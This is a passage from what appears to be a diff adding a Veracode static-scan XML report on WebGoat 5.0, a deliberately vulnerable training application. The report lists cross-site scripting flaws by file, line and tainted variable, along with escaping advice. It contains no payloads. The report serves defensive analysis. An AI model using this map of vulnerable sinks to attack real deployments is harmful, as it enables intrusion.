+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"121\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"75\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"220\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"188\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"15\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"183\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"191\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"20\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable message.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpSplitting.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpSplitting\"
+        functionprototype=\"apache.ecs.Element doHTTPSplitting(session.WebSession)\"
+        functionrelativelocation=\"55\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"221\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"1\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"230\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"241\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"263\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
